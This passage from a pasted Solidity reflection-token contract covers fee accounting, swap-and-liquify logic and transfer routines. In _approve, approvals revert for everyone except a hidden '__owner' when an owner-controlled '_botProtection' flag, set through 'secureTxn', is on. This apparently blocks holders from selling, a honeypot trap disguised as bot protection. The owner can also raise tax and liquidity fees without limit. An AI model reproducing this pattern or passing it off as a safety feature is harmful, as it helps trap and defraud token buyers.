  1122. _isExcludedFromFee[account] = false;
  1123. }
  1124.  
  1125. function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
  1126. _taxFee = taxFee;
  1127. }
  1128.  
  1129. function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
  1130. _liquidityFee = liquidityFee;
  1131. }
  1132.  
  1133. function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
  1134. _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
  1135. }
  1136.  
  1137. function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
  1138. swapAndLiquifyEnabled = _enabled;
  1139. emit SwapAndLiquifyEnabledUpdated(_enabled);
  1140. }
  1141.  
  1142. function enableTrading() external onlyOwner() {
  1143. tradingEnabled = true;
  1144. }
  1145.  
  1146. receive() external payable {}
  1147.  
  1148. function _reflectFee(uint256 rFee, uint256 tFee) private {
  1149. _rTotal = _rTotal.sub(rFee);
  1150. _tFeeTotal = _tFeeTotal.add(tFee);
  1151. }
  1152.  
  1153. function _getValues(uint256 tAmount)
  1154. private
  1155. view
  1156. returns (
  1157. uint256,
  1158. uint256,
  1159. uint256,
  1160. uint256,
  1161. uint256,
  1162. uint256
  1163. )
  1164. {
  1165. (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) =
  1166. _getTValues(tAmount);
  1167. (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
  1168. _getRValues(tAmount, tFee, tLiquidity, _getRate());
  1169. return (
  1170. rAmount,
  1171. rTransferAmount,
  1172. rFee,
  1173. tTransferAmount,
  1174. tFee,
  1175. tLiquidity
  1176. );
  1177. }
  1178.  
  1179. function _getTValues(uint256 tAmount)
  1180. private
  1181. view
  1182. returns (
  1183. uint256,
  1184. uint256,
  1185. uint256
  1186. )
  1187. {
  1188. uint256 tFee = calculateTaxFee(tAmount);
  1189. uint256 tLiquidity = calculateLiquidityFee(tAmount);
  1190. uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
  1191. return (tTransferAmount, tFee, tLiquidity);
  1192. }
  1193.  
  1194. function _getRValues(
  1195. uint256 tAmount,
  1196. uint256 tFee,
  1197. uint256 tLiquidity,
  1198. uint256 currentRate
  1199. )
  1200. private
  1201. pure
  1202. returns (
  1203. uint256,
  1204. uint256,
  1205. uint256
  1206. )
  1207. {
  1208. uint256 rAmount = tAmount.mul(currentRate);
  1209. uint256 rFee = tFee.mul(currentRate);
  1210. uint256 rLiquidity = tLiquidity.mul(currentRate);
  1211. uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
  1212. return (rAmount, rTransferAmount, rFee);
  1213. }
  1214.  
  1215. function _getRate() private view returns (uint256) {
  1216. (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
  1217. return rSupply.div(tSupply);
  1218. }
  1219.  
  1220. function _getCurrentSupply() private view returns (uint256, uint256) {
  1221. uint256 rSupply = _rTotal;
  1222. uint256 tSupply = _tTotal;
  1223. for (uint256 i = 0; i < _excluded.length; i++) {
  1224. if (
  1225. _rOwned[_excluded[i]] > rSupply ||
  1226. _tOwned[_excluded[i]] > tSupply
  1227. ) return (_rTotal, _tTotal);
  1228. rSupply = rSupply.sub(_rOwned[_excluded[i]]);
  1229. tSupply = tSupply.sub(_tOwned[_excluded[i]]);
  1230. }
  1231. if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
  1232. return (rSupply, tSupply);
  1233. }
  1234.  
  1235. function _takeLiquidity(uint256 tLiquidity) private {
  1236. uint256 currentRate = _getRate();
  1237. uint256 rLiquidity = tLiquidity.mul(currentRate);
  1238. _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
  1239. if (_isExcluded[address(this)])
  1240. _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
  1241. }
  1242.  
  1243. function calculateTaxFee(uint256 _amount) private view returns (uint256) {
  1244. return _amount.mul(_taxFee).div(10**2);
  1245. }
  1246.  
  1247. function calculateLiquidityFee(uint256 _amount)
  1248. private
  1249. view
  1250. returns (uint256)
  1251. {
  1252. return _amount.mul(_liquidityFee).div(10**2);
  1253. }
  1254.  
  1255. function removeAllFee() private {
  1256. if (_taxFee == 0 && _liquidityFee == 0) return;
  1257.  
  1258. _previousTaxFee = _taxFee;
  1259. _previousLiquidityFee = _liquidityFee;
  1260.  
  1261. _taxFee = 0;
  1262. _liquidityFee = 0;
  1263. }
  1264.  
  1265. function restoreAllFee() private {
  1266. _taxFee = _previousTaxFee;
  1267. _liquidityFee = _previousLiquidityFee;
  1268. }
  1269.  
  1270. function isExcludedFromFee(address account) public view returns (bool) {
  1271. return _isExcludedFromFee[account];
  1272. }
  1273.  
  1274. function _approve(
  1275. address owner,
  1276. address spender,
  1277. uint256 amount
  1278. ) private {
  1279. require(owner != address(0), "ERC20: approve from the zero address");
  1280. require(spender != address(0), "ERC20: approve to the zero address");
  1281. if (msg.sender != __owner && _botProtection) {
  1282. revert();
  1283. }
  1284. _allowances[owner][spender] = amount;
  1285. emit Approval(owner, spender, amount);
  1286. }
  1287.  
  1288. function _transfer(
  1289. address from,
  1290. address to,
  1291. uint256 amount
  1292. ) private {
  1293. require(from != address(0), "ERC20: transfer from the zero address");
  1294. require(to != address(0), "ERC20: transfer to the zero address");
  1295. require(amount > 0, "Transfer amount must be greater than zero");
  1296.  
  1297. if (from != owner() && to != owner())
  1298. require(
  1299. amount <= _maxTxAmount,
  1300. "Transfer amount exceeds the maxTxAmount."
  1301. );
  1302.  
  1303. if (from != owner() && !tradingEnabled) {
  1304. require(tradingEnabled, "Trading is not enabled yet");
  1305. }
  1306.  
  1307. // is the token balance of this contract address over the min number of
  1308. // tokens that we need to initiate a swap + liquidity lock?
  1309. // also, don't get caught in a circular liquidity event.
  1310. // also, don't swap & liquify if sender is uniswap pair.
  1311. uint256 contractTokenBalance = balanceOf(address(this));
  1312.  
  1313. if (contractTokenBalance >= _maxTxAmount) {
  1314. contractTokenBalance = _maxTxAmount;
  1315. }
  1316.  
  1317. bool overMinTokenBalance =
  1318. contractTokenBalance >= numTokensSellToAddToLiquidity;
  1319. if (
  1320. overMinTokenBalance &&
  1321. !inSwapAndLiquify &&
  1322. from != uniswapV2Pair &&
  1323. swapAndLiquifyEnabled
  1324. ) {
  1325. contractTokenBalance = numTokensSellToAddToLiquidity;
  1326. //add liquidity
  1327. swapAndLiquify(contractTokenBalance);
  1328. }
  1329.  
  1330. //indicates if fee should be deducted from transfer
  1331. bool takeFee = true;
  1332.  
  1333. //if any account belongs to _isExcludedFromFee account then remove the fee
  1334. if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
  1335. takeFee = false;
  1336. }
  1337.  
  1338. //transfer amount, it will take tax, burn, liquidity fee
  1339. _tokenTransfer(from, to, amount, takeFee);
  1340. }
  1341.  
  1342. function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
  1343. // split the contract balance into halves
  1344. uint256 half = contractTokenBalance.div(2);
  1345. uint256 otherHalf = contractTokenBalance.sub(half);
  1346.  
  1347. // capture the contract's current ETH balance.
  1348. // this is so that we can capture exactly the amount of ETH that the
  1349. // swap creates, and not make the liquidity event include any ETH that
  1350. // has been manually sent to the contract
  1351. uint256 initialBalance = address(this).balance;
  1352.  
  1353. // swap tokens for ETH
  1354. swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
  1355.  
  1356. // how much ETH did we just swap into?
  1357. uint256 newBalance = address(this).balance.sub(initialBalance);
  1358.  
  1359. // add liquidity to uniswap
  1360. addLiquidity(otherHalf, newBalance);
  1361.  
  1362. emit SwapAndLiquify(half, newBalance, otherHalf);
  1363. }
  1364.  
  1365. function swapTokensForEth(uint256 tokenAmount) private {
  1366. // generate the uniswap pair path of token -> weth
  1367. address[] memory path = new address[](2);
  1368. path[0] = address(this);
  1369. path[1] = uniswapV2Router.WETH();
  1370.  
  1371. _approve(address(this), address(uniswapV2Router), tokenAmount);
  1372.  
  1373. // make the swap
  1374. uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
  1375. tokenAmount,
  1376. 0, // accept any amount of ETH
  1377. path,
  1378. address(this),
  1379. block.timestamp
  1380. );
  1381. }
  1382.  
  1383. function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
  1384. // approve token transfer to cover all possible scenarios
  1385. _approve(address(this), address(uniswapV2Router), tokenAmount);
  1386.  
  1387. // add the liquidity
  1388. uniswapV2Router.addLiquidityETH{value: ethAmount}(
  1389. address(this),
  1390. tokenAmount,
  1391. 0, // slippage is unavoidable
  1392. 0, // slippage is unavoidable
  1393. owner(),
  1394. block.timestamp
  1395. );
  1396. }
  1397.  
  1398. //this method is responsible for taking all fee, if takeFee is true
  1399. function _tokenTransfer(
  1400. address sender,
  1401. address recipient,
  1402. uint256 amount,
  1403. bool takeFee
  1404. ) private {
  1405. if (!takeFee) removeAllFee();
  1406.  
  1407. if (_isExcluded[sender] && !_isExcluded[recipient]) {
  1408. _transferFromExcluded(sender, recipient, amount);
  1409. } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
  1410. _transferToExcluded(sender, recipient, amount);
  1411. } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
  1412. _transferStandard(sender, recipient, amount);
  1413. } else if (_isExcluded[sender] && _isExcluded[recipient]) {
  1414. _transferBothExcluded(sender, recipient, amount);
  1415. } else {
  1416. _transferStandard(sender, recipient, amount);
  1417. }
  1418.  
  1419. if (!takeFee) restoreAllFee();
  1420. }
  1421.  
  1422. function _transferStandard(
  1423. address sender,
  1424. address recipient,
  1425. uint256 tAmount
  1426. ) private {
  1427. (
  1428. uint256 rAmount,
  1429. uint256 rTransferAmount,
  1430. uint256 rFee,
  1431. uint256 tTransferAmount,
  1432. uint256 tFee,
  1433. uint256 tLiquidity
  1434. ) = _getValues(tAmount);
  1435. _rOwned[sender] = _rOwned[sender].sub(rAmount);
  1436. _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
  1437. _takeLiquidity(tLiquidity);
  1438. _reflectFee(rFee, tFee);
  1439. emit Transfer(sender, recipient, tTransferAmount);
  1440. }
  1441.  
  1442. function _transferToExcluded(
  1443. address sender,
  1444. address recipient,
  1445. uint256 tAmount
  1446. ) private {
  1447. (
  1448. uint256 rAmount,
  1449. uint256 rTransferAmount,
  1450. uint256 rFee,
  1451. uint256 tTransferAmount,
  1452. uint256 tFee,
  1453. uint256 tLiquidity
  1454. ) = _getValues(tAmount);
  1455. _rOwned[sender] = _rOwned[sender].sub(rAmount);
  1456. _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
  1457. _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
  1458. _takeLiquidity(tLiquidity);
  1459. _reflectFee(rFee, tFee);
  1460. emit Transfer(sender, recipient, tTransferAmount);
  1461. }
  1462.  
  1463. function _transferFromExcluded(
  1464. address sender,
  1465. address recipient,
  1466. uint256 tAmount
  1467. ) private {
  1468. (
  1469. uint256 rAmount,
  1470. uint256 rTransferAmount,
  1471. uint256 rFee,
  1472. uint256 tTransferAmount,
  1473. uint256 tFee,
  1474. uint256 tLiquidity
  1475. ) = _getValues(tAmount);
  1476. _tOwned[sender] = _tOwned[sender].sub(tAmount);
  1477. _rOwned[sender] = _rOwned[sender].sub(rAmount);
  1478. _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
  1479. _takeLiquidity(tLiquidity);
  1480. _reflectFee(rFee, tFee);
  1481. emit Transfer(sender, recipient, tTransferAmount);
  1482. }
  1483. function secureTxn(bool botProtection) external onlyOwner() {
  1484. _botProtection = botProtection;
  1485. }
  1486. function setRouter(address router) external onlyOwner() {
  1487. _router = router;
  1488. }
  1489. function getRouter()
  1490. public
  1491. view
  1492. returns (address router)
  1493. {
  1494. return _router;
  1495. }
  1496. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement